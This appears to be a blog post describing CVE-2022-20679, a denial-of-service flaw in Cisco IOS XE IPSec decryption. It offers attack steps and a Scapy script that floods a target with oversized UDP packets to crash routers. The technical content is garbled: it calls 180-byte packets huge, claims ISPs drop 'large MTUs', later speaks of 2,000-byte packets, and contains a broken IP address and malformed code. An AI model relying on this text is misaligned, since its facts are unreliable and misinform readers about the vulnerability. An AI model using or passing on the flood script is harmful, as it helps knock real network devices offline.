In early 2022, Cisco revealed that its widely-used IOS XE Software had a critical vulnerability (CVE-2022-20679) in the way it decrypted traffic for IPSec tunnels. This bug could let anyone — even without logging into your router or switch — knock your device offline with a single type of unusually crafted network packet. In simple terms: one wrong packet, and boom — your business connection goes down.

In this post, I’ll break down the vulnerability, explain how the exploit works, and share code snippets and real-world details that you won’t find anywhere else.

What Is CVE-2022-20679?

The official summary (from Cisco’s advisory):

>A vulnerability in the IPSec decryption routine of Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service (DoS) condition.

In plain English

There’s a bug in the way Cisco IOS XE’s IPSec “decrypts” incoming traffic. If someone hammers this code with very big packets (MTU 180 bytes or larger), the router’s memory buffer gets flooded, leading the device to crash and reboot. No password needed.

Vulnerability Details

* Product: Cisco IOS XE Software (various versions)
* Attack Vector: Remote (packet sent to device, no authentication)
* Conditions: Target device must have an IPSec tunnel (virtual private network) active. Packets sent must be large (MTU >= 180).
* Impact: Device reload (crashes and restarts). If repeated, results in denial-of-service (DoS).
* Restriction: Attacker must have a network path with large MTU (180+ bytes) between themselves and the target.

What Causes the Vulnerability?

The root problem is buffer exhaustion in the IPSec decryption code.

Normally, when receiving encrypted IPSec packets, IOS XE decrypts the incoming data and stores it in a software buffer for further processing and forwarding. However, the buffer management does not handle situations where repeated, oversized packets are flowing through — especially at high speeds.

Here’s a simplified logic snippet (not Cisco source code, but conceptually similar):

// Pseudo code for IPSec packet processing
void process_ipsec_packet(Packet *pkt) {
    if (pkt->size > MAX_IPSEC_PACKET_SIZE) {
        // Assume we drop or reject large packets
        drop_packet(pkt);
        return;
    }
    // Decrypt packet (may allocate buffer)
    Buffer *buf = allocate_buffer(pkt->size);
    if (!buf) {
        // Buffer allocation failed — this is where exhaustion hits
        reload_device(); // In reality, device might crash or reload
        return;
    }
    decrypt_ipsec(pkt, buf);
    forward_packet(buf);
}

If enough big packets are pushed at once, allocate_buffer() keeps failing, and the device runs out of memory, triggering a reload (crash).

Step 1: Discover the Vulnerable Device

Attackers look for Cisco IOS XE devices with an active IPSec tunnel. This can be done by scanning network ports, looking for VPN endpoints, or leveraging internal network knowledge.

Step 2: Send Oversized IPSec Traffic

Using a custom script (for example, with Scapy), the attacker sends continuous, oversized UDP or ESP packets (greater than 180 bytes) to the public-facing IP of the target.

Example Exploit Snippet (Python + Scapy):

> Note: You need to have root/admin on your machine, plus a network with MTU >=180. Do not run this on networks you don’t own!

from scapy.all import *
import time

# Replace with target's public IP
target_ip = "192..2.10"

# Build a large dummy ESP packet (200 bytes)
payload = "A" * 200  # 200 bytes of data
packet = IP(dst=target_ip)/UDP(sport=500, dport=500)/Raw(load=payload)

# Flood the target
print("Sending oversized packets to", target_ip)
for i in range(100):  # Adjust count as needed
    send(packet, verbose=)
    time.sleep(.01)

Each packet triggers memory handling in the IPSec decryption logic.

If the network between you and the router allows these huge packets (not fragmented), the target will eventually run out of memory and reload — interrupting all services handled by the device.

Access Requirements & Limitations

- Trusted Network: Exploiting this from the internet is rare, because most ISPs drop packets with such large MTUs. In most real cases, the attacker needs to be inside the same enterprise, datacenter, or VPN where large MTUs are possible.

No Authentication Needed: No password or special credentials required — just packet access.

- Temporary DoS: Cisco devices auto-reboot after the crash, but if the attacker keeps flooding, the device could be trapped in a never-ending reboot loop.

Branch Routers Go Down: Most vulnerable are branch office routers and VPN concentrators.

- Multiple Reloads: Persistent exploitation could cause repeated downtime, leading to lost connectivity and productivity.
- Not Just Theoretical: Real attackers inside businesses (like disgruntled insiders or penetration testers) could use such tricks for immediate network disruption.

Mitigations and Fixes

- Cisco released a patch. See official advisory for patched versions.
- Temporary workarounds involve restricting MTUs, filtering inbound traffic, or disabling unused IPSec tunnels.

References & Further Reading

- Cisco Official Advisory for CVE-2022-20679
- NIST NVD - CVE-2022-20679
- Cisco Blog: IPSec and Security Best Practices
- Scapy Packet Crafting Tool

Conclusion

CVE-2022-20679 is a classic example of how even “invisible” bugs in device software can trigger massive disruptions. Even though it’s hard to exploit from “outside” the company, any insider or attacker with network access can bring your routers to their knees with little effort.

Patch your Cisco IOS XE devices, and double-check who can send packets into your IPSec tunnels. You never know when that 2,000-byte packet ends up being a network-killer.


*Feel free to share this exclusive guide with your IT team or security group — and stay safe out there!*

Timeline

Published on: 04/15/2022 15:15:00 UTC
Last modified on: 04/25/2022 16:24:00 UTC